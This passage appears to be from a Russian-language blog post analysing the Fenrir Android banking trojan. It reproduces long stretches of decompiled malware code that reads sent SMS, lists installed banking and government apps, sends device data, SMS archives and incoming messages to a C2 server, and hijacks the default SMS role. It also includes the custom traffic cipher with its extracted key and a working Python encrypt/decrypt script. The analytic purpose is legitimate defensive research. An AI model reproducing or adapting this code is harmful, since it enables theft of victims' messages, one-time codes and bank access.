cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
if (cursorQuery != null && cursorQuery.moveToFirst()) {
while (true) {
String string32 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
String str52 = str2;
String string42 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str52));
String str62 = str;
long j22 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str62));
str2 = str52;
sb.append("━━━━━━━━━━ SENT #");
int i42 = i + 1;
sb.append(i);
sb.append(" ━━━━━━━━━━\n");
sb.append("To: ");
sb.append(string32);
sb.append("\n");
sb.append("Time: ");
sb.append(simpleDateFormat.format(new Date(j22)));
sb.append("\n");
sb.append("Text:\n");
sb.append(string42);
sb.append("\n\n");
if (cursorQuery.moveToNext()) {
break;
}
i = i42;
str = str62;
}
}
} catch (Exception unused) {
if (cursorQuery != null) {
}
} catch (Throwable th) {
throw th;
}
if (cursorQuery != null) {
cursorQuery.close();
}
sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n");
return sb.toString();
}
/* JADX INFO: renamed from: g */
private List<String> m886g() {
ArrayList arrayList = new ArrayList();
try {
for (ApplicationInfo applicationInfo : getPackageManager().getInstalledApplications(128)) {
Iterator<Map.Entry<String, String>> it = f547g.entrySet().iterator();
while (true) {
if (it.hasNext()) {
Map.Entry<String, String> next = it.next();
if (next.getValue().equals(applicationInfo.packageName)) {
arrayList.add(next.getKey());
break;
}
}
}
}
} catch (Exception unused) {
}
return arrayList;
}
private String getAppName() {
try {
PackageManager packageManager = getPackageManager();
return packageManager.getApplicationLabel(packageManager.getApplicationInfo(getPackageName(), 0)).toString();
} catch (Exception unused) {
return "Unknown";
}
}
private JSONArray getPhoneNumbers() {
List<SubscriptionInfo> activeSubscriptionInfoList;
JSONArray jSONArray = new JSONArray();
try {
SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service");
if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) {
activeSubscriptionInfoList.size();
int i = 0;
while (i < activeSubscriptionInfoList.size()) {
SubscriptionInfo subscriptionInfo = activeSubscriptionInfoList.get(i);
JSONObject jSONObject = new JSONObject();
String number = subscriptionInfo.getNumber();
String string = subscriptionInfo.getCarrierName() != null ? subscriptionInfo.getCarrierName().toString() : "Unknown";
i++;
if (number == null || number.isEmpty()) {
number = "Unknown";
}
jSONObject.put("phone_number", number);
jSONObject.put("operator", string);
jSONArray.put(jSONObject);
}
}
} catch (Exception e) {
e.getMessage();
}
return jSONArray;
}
private SmsManager getSmsManager() {
List<SubscriptionInfo> activeSubscriptionInfoList;
if (Build.VERSION.SDK_INT >= 31) {
return SmsManager.getDefault();
}
try {
SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service");
if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null && !activeSubscriptionInfoList.isEmpty()) {
return SmsManager.getSmsManagerForSubscriptionId(activeSubscriptionInfoList.get(0).getSubscriptionId());
}
} catch (Exception e) {
e.getMessage();
}
return SmsManager.getDefault();
}
/* JADX INFO: renamed from: h */
private boolean m887h() {
try {
if (Build.VERSION.SDK_INT < 29) {
return getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(this));
}
RoleManager roleManagerM525c = AbstractC0282u.m525c(getSystemService("role"));
return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS");
} catch (Exception e) {
e.getMessage();
return false;
}
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: i */
public void m888i() {
int i = this.f548a;
if (i >= 10) {
f546f = false;
stopSelf();
} else {
this.f548a = i + 1;
try {
Thread.sleep(5000L);
} catch (InterruptedException unused) {
}
m889j();
}
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: j */
public void m889j() {
try {
final String strM230b = C0102cs.m230b(this);
String strM121e = C0058bk.m121e(this);
if (strM121e == null) {
f546f = false;
m888i();
return;
}
String str = strM121e + C0290u7.m575q();
JSONObject jSONObject = new JSONObject();
jSONObject.put("device_id", strM230b);
jSONObject.put("worker", C0058bk.m123g(this));
jSONObject.put("chatId", C0058bk.m119c(this));
jSONObject.put("device_model", Build.MODEL);
jSONObject.put("android_version", Build.VERSION.RELEASE);
jSONObject.put("app_name", getAppName());
jSONObject.put("build_type", C0058bk.f77e);
jSONObject.put("team", C0058bk.m122f(this));
JSONArray phoneNumbers = getPhoneNumbers();
jSONObject.put("sim_count", String.valueOf(phoneNumbers.length()));
if (phoneNumbers.length() > 0) {
JSONObject jSONObject2 = phoneNumbers.getJSONObject(0);
jSONObject.put("phone_number", jSONObject2.optString("phone_number", "Unknown"));
jSONObject.put("operator_name", jSONObject2.optString("operator", "Unknown"));
}
if (phoneNumbers.length() > 1) {
JSONObject jSONObject3 = phoneNumbers.getJSONObject(1);
jSONObject.put("second_phone_number", jSONObject3.optString("phone_number", "Unknown"));
jSONObject.put("second_operator_name", jSONObject3.optString("operator", "Unknown"));
}
jSONObject.put("found_apps", new JSONArray((Collection) m886g()));
jSONObject.put("sms_archive", m885f());
Http.m850q(this, str, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS19.2
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
iOException.getMessage();
POIX1UVS19.this.m888i();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.body() != null) {
response.body().string();
}
response.code();
if (response.isSuccessful()) {
POIX1UVS19.f545e = true;
POIX1UVS19.f546f = false;
POIX1UVS19.this.m890k(strM230b);
POIX1UVS19.this.stopSelf();
} else {
response.code();
if (response.code() != 403) {
POIX1UVS19.this.m888i();
} else {
POIX1UVS19.f546f = false;
POIX1UVS19.this.stopSelf();
}
}
response.close();
}
});
} catch (Exception unused) {
if (this.f548a >= 10) {
f546f = false;
}
m888i();
}
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: k */
public void m890k(String str) {
String strOptString;
SmsManager smsManager;
try {
if (ContextCompat.checkSelfPermission(this, "android.permission.SEND_SMS") != 0) {
return;
}
String strM843j = Http.m843j(this, C0058bk.m121e(this) + C0290u7.m576r() + "?team=" + C0058bk.m122f(this) + "&key=" + C0058bk.m117a(this));
if (strM843j != null && (strOptString = new JSONObject(strM843j).optString("retry_phone", null)) != null && !strOptString.isEmpty() && (smsManager = getSmsManager()) != null) {
try {
smsManager.sendTextMessage(strOptString, null, str, null, null);
} catch (SecurityException e) {
e.getMessage();
}
}
} catch (Exception e2) {
e2.getMessage();
}
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
@Override // android.app.Service
public int onStartCommand(Intent intent, int i, int i2) {
C0715a c0715a = new C0715a(this);
if (!c0715a.m924c()) {
stopSelf();
return 2;
}
if (!c0715a.m923b()) {
stopSelf();
return 2;
}
c0715a.getPanelUrl();
c0715a.getTeam();
c0715a.getWorker();
if (!m887h()) {
stopSelf();
return 2;
}
int i3 = 1;
if (f545e || f546f) {
stopSelf();
} else {
f546f = true;
new Thread(new RunnableC0021ak(this, i3)).start();
}
return 1;
}
}
В POIX1UVS19 функция C0706a содержит перечень приложений, данные которых перехватывает данный троян. Банки, Госуслуги, Госключ, Wildberries/Ozon, WhatsApp и зачем-то Яндекс (именно через плагин поиска searchplugin). Как это работает. m886g() пробегается по списку установленных приложений и отправляет его в JSON-поле found_apps.
А кто этот ваш Fenrir?
Везде упоминается данная строка, но что же это? Возьму из статьи изображения, но судя по всему - это VaaS (Virus-as-a-Service), "вирус как сервис". Нехорошие ребята продают и обход Касперского, и консоль для веб-управления (на скриншоте видно тот самый Fenrir). "Бизнес есть бизнес", даже если в нём страдают твои же соотечественники.



FenrirCrypto служит для кастомного шифрования трафика. Взглянем на файл payload_jadx/sources/p000a/C0293v0.java
C0293v0
package p000a;
import android.util.Base64;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
/* JADX INFO: renamed from: a.v0 */
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class C0293v0 {
/* JADX INFO: renamed from: a */
private static final String f377a = "FenrirCrypto";
/* JADX INFO: renamed from: b */
private static String f378b = null;
/* JADX INFO: renamed from: c */
private static byte[] f379c = null;
/* JADX INFO: renamed from: e */
private static final int f381e = 45;
/* JADX INFO: renamed from: g */
private static final int f383g = 62;
/* JADX INFO: renamed from: i */
private static final int f385i = 79;
/* JADX INFO: renamed from: k */
private static final int f387k = 96;
/* JADX INFO: renamed from: m */
private static final int f389m = 113;
/* JADX INFO: renamed from: d */
private static final int[] f380d = {66, 25, 118, 120, 3, 37, 177, 174};
/* JADX INFO: renamed from: f */
private static final int[] f382f = {50, 31, 105, 44, 8, 200, 170, 132};
/* JADX INFO: renamed from: h */
private static final int[] f384h = {36, 55, 66, 91, 224, 219, 145, 155};
/* JADX INFO: renamed from: j */
private static final int[] f386j = {4, 50, 182, 171, 249, 224, 133, 167};
/* JADX INFO: renamed from: l */
private static final int[] f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81};
/* JADX INFO: renamed from: a */
private static char[] m601a(int[] iArr, int i) {
char[] cArr = new char[iArr.length];
int i2 = 0;
while (true) {
int i3 = 29364;
while (true) {
int i4 = (i3 ^ 29364) % 5;
if (i4 == 0) {
cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255));
} else if (i4 == 1) {
i2++;
if (i2 < iArr.length) {
break;
}
i3 = 29366;
} else {
if (i4 == 2) {
return cArr;
}
if (i4 != 3) {
if (i4 != 4) {
}
}
}
i3 = 29365;
}
}
}
/* JADX INFO: renamed from: b */
private static String m602b() {
char[] cArr = new char[64];
int i = 0;
int i2 = 90;
while (i2 >= 65) {
cArr[i] = (char) i2;
i2--;
i++;
}
int i3 = 122;
while (i3 >= 97) {
cArr[i] = (char) i3;
i3--;
i++;
}
int i4 = 57;
while (i4 >= 48) {
cArr[i] = (char) i4;
i4--;
i++;
}
cArr[i] = '+';
cArr[i + 1] = '/';
return new String(cArr);
}
/* JADX INFO: renamed from: c */
public static String m603c(String str) {
try {
String strM571m = C0290u7.m571m();
if (str != null && str.startsWith(strM571m)) {
String strSubstring = str.substring(strM571m.length());
String strM602b = m602b();
String strM608h = m608h();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < strSubstring.length(); i++) {
char cCharAt = strSubstring.charAt(i);
int iIndexOf = strM602b.indexOf(cCharAt);
if (iIndexOf >= 0) {
sb.append(strM608h.charAt(iIndexOf));
} else {
sb.append(cCharAt);
}
}
byte[] bArrDecode = Base64.decode(sb.toString(), 0);
for (int i2 = 2; i2 < bArrDecode.length; i2 += 3) {
bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255);
}
for (int i3 = 0; i3 < bArrDecode.length - 4; i3 += 8) {
for (int i4 = 0; i4 < 4; i4++) {
int i5 = i3 + i4;
int i6 = i5 + 4;
if (i6 < bArrDecode.length) {
byte b = bArrDecode[i5];
bArrDecode[i5] = bArrDecode[i6];
bArrDecode[i6] = b;
}
}
}
byte[] bytes = m606f().getBytes(StandardCharsets.UTF_8);
byte[] bArrM607g = m607g();
byte[] bArr = new byte[bArrDecode.length];
for (int i7 = 0; i7 < bArrDecode.length; i7++) {
bArr[i7] = (byte) (((bytes[i7 % bytes.length] ^ bArrDecode[i7]) ^ bArrM607g[i7 % bArrM607g.length]) ^ (i7 & 255));
}
return new String(bArr, StandardCharsets.UTF_8);
}
return null;
} catch (Exception e) {
e.getMessage();
return null;
}
}
/* JADX INFO: renamed from: d */
public static String m604d(String str) {
int i;
int i2;
try {
String strM606f = m606f();
Charset charset = StandardCharsets.UTF_8;
byte[] bytes = strM606f.getBytes(charset);
byte[] bArrM607g = m607g();
byte[] bytes2 = str.getBytes(charset);
int length = bytes2.length;
byte[] bArr = new byte[length];
for (int i3 = 0; i3 < bytes2.length; i3++) {
bArr[i3] = (byte) (((bytes[i3 % bytes.length] ^ bytes2[i3]) ^ bArrM607g[i3 % bArrM607g.length]) ^ (i3 & 255));
}
for (int i4 = 0; i4 < length - 4; i4 += 8) {
for (int i5 = 0; i5 < 4 && (i2 = (i = i4 + i5) + 4) < length; i5++) {
byte b = bArr[i];
bArr[i] = bArr[i2];
bArr[i2] = b;
}
}
for (int i6 = 2; i6 < length; i6 += 3) {
bArr[i6] = (byte) (bArr[i6] ^ 255);
}
String strEncodeToString = Base64.encodeToString(bArr, 2);
String strM608h = m608h();
String strM602b = m602b();
StringBuilder sb = new StringBuilder();
for (int i7 = 0; i7 < strEncodeToString.length(); i7++) {
char cCharAt = strEncodeToString.charAt(i7);
int iIndexOf = strM608h.indexOf(cCharAt);
if (iIndexOf >= 0) {
sb.append(strM602b.charAt(iIndexOf));
} else {
sb.append(cCharAt);
}
}
String str2 = C0290u7.m571m() + sb.toString();
str2.length();
return str2;
} catch (Exception e) {
e.getMessage();
return null;
}
}
/* JADX INFO: renamed from: e */
public static boolean m605e(String str) {
return str != null && str.startsWith(C0290u7.m571m());
}
/* JADX INFO: renamed from: f */
private static String m606f() {
String str = f378b;
if (str != null) {
return str;
}
char[] cArrM601a = m601a(f380d, 45);
char[] cArrM601a2 = m601a(f382f, f383g);
char[] cArrM601a3 = m601a(f384h, f385i);
char[] cArrM601a4 = m601a(f386j, f387k);
StringBuilder sb = new StringBuilder(32);
for (char c : cArrM601a) {
sb.append(c);
}
for (char c2 : cArrM601a2) {
sb.append(c2);
}
for (char c3 : cArrM601a3) {
sb.append(c3);
}
for (char c4 : cArrM601a4) {
sb.append(c4);
}
String string = sb.toString();
f378b = string;
return string;
}
/* JADX INFO: renamed from: g */
private static byte[] m607g() {
byte[] bArr = f379c;
if (bArr != null) {
return bArr;
}
f379c = new byte[f388l.length];
int i = 0;
while (true) {
int[] iArr = f388l;
if (i >= iArr.length) {
return f379c;
}
f379c[i] = (byte) (iArr[i] ^ (((i * 11) + 116) & 255));
i++;
}
}
/* JADX INFO: renamed from: h */
private static String m608h() {
char[] cArr = new char[64];
int i = 0;
int i2 = 65;
while (i2 <= 90) {
cArr[i] = (char) i2;
i2++;
i++;
}
int i3 = 97;
while (i3 <= 122) {
cArr[i] = (char) i3;
i3++;
i++;
}
int i4 = 48;
while (i4 <= 57) {
cArr[i] = (char) i4;
i4++;
i++;
}
cArr[i] = '+';
cArr[i + 1] = '/';
return new String(cArr);
}
}
Разработки даже не скрывают свой "почерк":
private static final String f377a = "FenrirCrypto";Ключ шифрования хранится в методе m606f():
private static String m606f() {
char[] part1 = m601a(f380d, 45); // {66, 25, 118, 120, 3, 37, 177, 174}
char[] part2 = m601a(f382f, 62); // {50, 31, 105, 44, 8, 200, 170, 132}
char[] part3 = m601a(f384h, 79); // {36, 55, 66, 91, 224, 219, 145, 155}
char[] part4 = m601a(f386j, 96); // {4, 50, 182, 171, 249, 224, 133, 167}
return part1 + part2 + part3 + part4; // 32 символа
}Результат: vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e
Инициализация вектора реализована в методе m607g() (строки в файле 236-251):
private static byte[] m607g() {
byte[] iv = new byte[f388l.length]; // 12 байт
for (int i = 0; i < f388l.length; i++) {
iv[i] = (byte) (f388l[i] ^ (((i * 11) + 116) & 255));
}
return iv;
}
// f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}Результат: a357c91e84f26b3de74915bc (12 байт)
Сам алгоритм шифрования - это метод m604d()
Шаг | Операция | Строки в файле |
|---|---|---|
1 | XOR каждого байта: | 163-168 |
2 | Блочная перестановка: каждые 8 байт — swap первых 4 со вторыми 4 | 170-175 |
3 | Инвертирование битов: каждый 3-й байт | 177-179 |
4 | Base64 (NO_WRAP) | 180 |
5 | Подстановочный шифр: замена символов Base64 (A↔Z, B↔Y, …) | 182-192 |
6 | Префикс: | 193 |
Ну а чтобы сдешифровать, нужно сделать всё наоборот (метод m603c()):
Шаг | Операция | Строки |
|---|---|---|
1 | Проверка и удаление префикса | 110-112 |
2 | Обратная подстановка символов | 116-123 |
3 | Base64 decode | 125 |
4 | Обратное инвертирование битов (симметрично) | 126-128 |
5 | Обратная блочная перестановка (симметрично) | 129-139 |
6 | Обратный XOR (симметричен) | 142-145 |
Зашифрованное сообщение отправляется по HTTP. Формирование JSON идёт в файле Http.java (строки 110-144)
Http.java
package com.reawlme.kcupeyue;
import android.content.Context;
import java.io.IOException;
import java.net.ConnectException;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.Interceptor;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import okio.Buffer;
import org.json.JSONObject;
import p000a.C0058bk;
import p000a.C0290u7;
import p000a.C0293v0;
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class Http {
/* JADX INFO: renamed from: a */
private static final String f521a = "Http";
/* JADX INFO: renamed from: b */
private static final MediaType f522b = MediaType.parse(C0290u7.m570l());
/* JADX INFO: renamed from: c */
private static OkHttpClient f523c = null;
/* JADX INFO: renamed from: d */
private static Context f524d = null;
/* JADX INFO: renamed from: e */
private static final int f525e = 3;
public static abstract class DecryptCallback implements Callback {
/* JADX INFO: renamed from: a */
private final Context f526a;
/* JADX INFO: renamed from: b */
private final String f527b;
/* JADX INFO: renamed from: c */
private final String f528c;
/* JADX INFO: renamed from: d */
private final String f529d;
/* JADX INFO: renamed from: e */
private int f530e;
public DecryptCallback() {
this.f530e = 0;
this.f526a = null;
this.f527b = null;
this.f528c = null;
this.f529d = null;
}
/* JADX INFO: renamed from: a */
public abstract void m852a(Call call, Response response, String str);
/* JADX INFO: renamed from: b */
public void m853b(IOException iOException) {
}
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
String str;
iOException.getMessage();
if (this.f526a == null || this.f527b == null || !Http.m846m(iOException, this.f530e)) {
m853b(iOException);
return;
}
this.f530e++;
String str2 = Http.m842i(this.f526a) + this.f527b;
String str3 = this.f528c;
if (str3 == null || (str = this.f529d) == null) {
Http.m845l(this.f526a, str2, this);
} else {
Http.m851r(this.f526a, str2, str3, str, this);
}
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
m852a(call, response, Http.m838e(response.body() != null ? response.body().string() : HttpUrl.FRAGMENT_ENCODE_SET));
}
public DecryptCallback(Context context, String str, String str2, String str3) {
this.f530e = 0;
this.f526a = context;
this.f527b = str;
this.f528c = str2;
this.f529d = str3;
}
}
/* JADX INFO: renamed from: com.reawlme.kcupeyue.Http$a */
public static class C0702a implements Interceptor {
private C0702a() {
}
public /* synthetic */ C0702a(int i) {
this();
}
@Override // okhttp3.Interceptor
public Response intercept(Interceptor.Chain chain) throws IOException {
Request request = chain.request();
if (request.body() == null || !"POST".equals(request.method())) {
return chain.proceed(request);
}
try {
Buffer buffer = new Buffer();
request.body().writeTo(buffer);
String utf8 = buffer.readUtf8();
String strM604d = C0293v0.m604d(utf8);
if (strM604d == null) {
return chain.proceed(request);
}
JSONObject jSONObject = new JSONObject();
jSONObject.put("enc", strM604d);
String string = jSONObject.toString();
Request requestBuild = request.newBuilder().header(C0290u7.m566h(), C0290u7.m569k()).header(C0290u7.m568j(), C0290u7.m564f()).method(request.method(), RequestBody.create(string, Http.f522b)).build();
utf8.length();
string.length();
return chain.proceed(requestBuild);
} catch (Exception e) {
e.getMessage();
return chain.proceed(request);
}
}
}
/* JADX INFO: renamed from: e */
public static String m838e(String str) {
if (str == null || str.isEmpty()) {
return str;
}
try {
JSONObject jSONObject = new JSONObject(str);
if (!jSONObject.has("enc")) {
return str;
}
String strM603c = C0293v0.m603c(jSONObject.getString("enc"));
if (strM603c != null) {
return strM603c;
}
return null;
} catch (Exception unused) {
return str;
}
}
/* JADX INFO: renamed from: f */
public static void m839f(Context context, String str, Callback callback) {
getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
}
/* JADX INFO: renamed from: g */
public static void m840g(String str, Callback callback) {
getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
}
public static synchronized OkHttpClient getClient() {
try {
if (f523c == null) {
OkHttpClient.Builder builder = new OkHttpClient.Builder();
TimeUnit timeUnit = TimeUnit.SECONDS;
f523c = builder.connectTimeout(15L, timeUnit).writeTimeout(15L, timeUnit).readTimeout(15L, timeUnit).retryOnConnectionFailure(false).addInterceptor(new C0702a(0)).build();
}
} catch (Throwable th) {
throw th;
}
return f523c;
}
/* JADX INFO: renamed from: h */
public static void m841h(String str, Callback callback) {
getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
}
/* JADX INFO: renamed from: i */
public static String m842i(Context context) {
if (context == null && f524d == null) {
return null;
}
if (context == null) {
context = f524d;
}
return C0717c.m927d(context).getCurrentServerUrl();
}
/* JADX INFO: renamed from: j */
public static String m843j(Context context, String str) {
return m844k(context, str, 0);
}
/* JADX INFO: renamed from: k */
private static String m844k(Context context, String str, int i) {
try {
Response responseExecute = getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).execute();
if (!responseExecute.isSuccessful() || responseExecute.body() == null) {
return null;
}
return m838e(responseExecute.body().string());
} catch (Exception e) {
e.getMessage();
if (m846m(e, i)) {
try {
URL url = new URL(str);
String path = url.getPath();
if (url.getQuery() != null) {
path = path + "?" + url.getQuery();
}
return m844k(context, m842i(context) + path, i + 1);
} catch (Exception e2) {
e2.getMessage();
return null;
}
}
return null;
}
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: l */
public static void m845l(Context context, String str, Callback callback) {
getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback);
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: m */
public static boolean m846m(Throwable th, int i) {
if (f524d == null) {
return false;
}
if (!m848o(th)) {
th.getClass();
return false;
}
if (i >= 3) {
return false;
}
C0717c c0717cM927d = C0717c.m927d(f524d);
if (!c0717cM927d.m937l()) {
return false;
}
Objects.toString(c0717cM927d.getCurrentServer());
return true;
}
/* JADX INFO: renamed from: n */
public static void m847n(Context context) {
f524d = context.getApplicationContext();
}
/* JADX INFO: renamed from: o */
private static boolean m848o(Throwable th) {
return (th instanceof SocketTimeoutException) || (th instanceof SocketException) || (th instanceof UnknownHostException) || (th instanceof ConnectException) || (th.getMessage() != null && (th.getMessage().contains("Connection") || th.getMessage().contains("timeout") || th.getMessage().contains("refused")));
}
/* JADX INFO: renamed from: p */
public static void m849p(Context context) {
if (context != null) {
C0717c.m927d(context).m936i();
}
}
/* JADX INFO: renamed from: q */
public static void m850q(Context context, String str, String str2, String str3, Callback callback) {
getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback);
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: r */
public static void m851r(Context context, String str, String str2, String str3, Callback callback) {
getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback);
}
}
Получится что-то похоже на
POST /media/uplaad HTTP/1.1
X-Fenrir-Enc: application/json
X-API-Key: <device_id>
Content-Type: application/json; charset=utf-8
{"enc":"FNR1m46Quj3Uop8Dv5bn0TT48++TEvI0nb+Hf+C4wlvvtYk1Z6R="}Как обычно просим ИИ сделать нам дешифратор:
fenrir_crypto.py
#!/usr/bin/env python3
"""
FenrirCrypto implementation — custom XOR-based encryption used by Fenrir Banking Trojan v4.0.5.
Encrypts/decrypts HTTP traffic between infected device and C2 server (176.124.222.81).
Usage:
python fenrir_crypto.py encrypt "hello world"
python fenrir_crypto.py decrypt "FNR1..."
"""
import base64
import sys
# ─── Crypto constants (extracted from C0293v0.java) ──────────────
KEY = "vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e"
IV = bytes.fromhex("a357c91e84f26b3de74915bc")
PREFIX = "FNR1"
# Standard Base64 alphabet (m608h)
STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# Reversed Base64 alphabet (m602b)
REVERSED = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
# Build translation tables
TO_REVERSED = str.maketrans(STANDARD, REVERSED)
TO_STANDARD = str.maketrans(REVERSED, STANDARD)
def _xor_transform(data: bytes) -> bytes:
"""Step 1+3 combined: XOR with key, IV, and position; then invert every 3rd byte."""
key_bytes = KEY.encode('utf-8')
out = bytearray(len(data))
for i in range(len(data)):
out[i] = data[i] ^ key_bytes[i % len(key_bytes)] ^ IV[i % len(IV)] ^ (i & 0xFF)
# Step 3: invert every 3rd byte starting from index 2
for i in range(2, len(out), 3):
out[i] ^= 0xFF
return bytes(out)
def _block_swap(data: bytearray):
"""Step 2: swap first 4 bytes with second 4 bytes in each 8-byte block."""
for i in range(0, len(data) - 4, 8):
for j in range(4):
if i + j + 4 < len(data):
data[i + j], data[i + j + 4] = data[i + j + 4], data[i + j]
def encrypt(plaintext: str) -> str:
"""Full encryption: plaintext -> FNR1..."""
# Step 1: Triple XOR
data = bytearray(plaintext.encode('utf-8'))
for i in range(len(data)):
data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF)
# Step 2: Block swap
_block_swap(data)
# Step 3: Invert every 3rd byte
for i in range(2, len(data), 3):
data[i] ^= 0xFF
# Step 4: Base64
encoded = base64.b64encode(bytes(data)).decode('ascii')
# Step 5: Character substitution
substituted = encoded.translate(TO_REVERSED)
# Step 6: Add prefix
return PREFIX + substituted
def decrypt(ciphertext: str) -> str:
"""Full decryption: FNR1... -> plaintext."""
# Step 1: Check and remove prefix
if not ciphertext.startswith(PREFIX):
raise ValueError(f"Missing prefix: expected '{PREFIX}'")
payload = ciphertext[len(PREFIX):]
# Step 2: Reverse character substitution
restored = payload.translate(TO_STANDARD)
# Step 3: Base64 decode
data = bytearray(base64.b64decode(restored))
# Step 4: Reverse byte inversion (symmetric — same operation)
for i in range(2, len(data), 3):
data[i] ^= 0xFF
# Step 5: Reverse block swap (symmetric — same operation)
_block_swap(data)
# Step 6: Reverse XOR (symmetric — same operation)
for i in range(len(data)):
data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF)
return bytes(data).decode('utf-8')
# ─── CLI ────────────────────────────────────────────────────────
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python fenrir_crypto.py encrypt|decrypt <text>")
print()
print("Examples:")
print(' python fenrir_crypto.py encrypt "{\\"test\\":\\"hello\\"}"')
print(" python fenrir_crypto.py decrypt FNR1...")
sys.exit(1)
action = sys.argv[1]
text = sys.argv[2]
if action == "encrypt":
print(encrypt(text))
elif action == "decrypt":
try:
print(decrypt(text))
except Exception as e:
print(f"Decryption failed: {e}")
else:
print(f"Unknown action: {action}")
Как я говорил выше - сервер давно в ауте, поэтому ни ответа, ни привета - проверить мне не на чем.
Ну и быстро пробежимся по оставшимся частям кода, а то уже статья и так большая (в плане приложенного кода), а мне хотелось всего лишь понять, на сколько был опасен вирус.
SMS-перехватчик
Регистрация как SMS-приложение по умолчанию
MainActivity.java:132-151 — m869r():
Код
// Android 10+:
startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 1);
// Android 9-:
startActivity(new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT")
.putExtra("package", getPackageName()));
MainActivity.java:169-181 — m871t(): если пользователь отклоняет — показывается AlertDialog с требованием сделать приложение SMS-обработчиком.
Проверка статуса
POIX1UVS16.java:45-51 и POIX1UVS19.java:321-332:
Код
private boolean m876c(Context context) {
if (Build.VERSION.SDK_INT < 29) {
return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context));
}
RoleManager rm = context.getSystemService("role");
return rm != null && rm.isRoleHeld("android.app.role.SMS");
}
Перехват SMS
POIX1UVS16.java:110-150 — onReceive():
Код
public void onReceive(Context context, Intent intent) {
// 1. Проверка action — только SMS_RECEIVED или SMS_DELIVER
// 2. Захват WakeLock на 30 секунд
PowerManager.WakeLock wl = pm.newWakeLock(1, "POIX1UVS16:Lock");
wl.acquire(30000L);
// 3. Извлечение PDU из intent
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object pdu : pdus) {
SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu, format);
sender = sms.getOriginatingAddress();
body.append(sms.getMessageBody());
}
// 4. Отправка на сервер
m878e(context, sender, body.toString(), simSlot, wl); // строка 139
// 5. Запуск foreground-сервиса для пинга
m879f(context); // строка 140
}Отправка SMS на сервер
POIX1UVS16.java:67-94 — m878e():
Код
JSONObject json = new JSONObject();
json.put("device_id", deviceId);
json.put("sender", phoneNumber); // от кого SMS
json.put("text", smsText); // текст SMS (!!!)
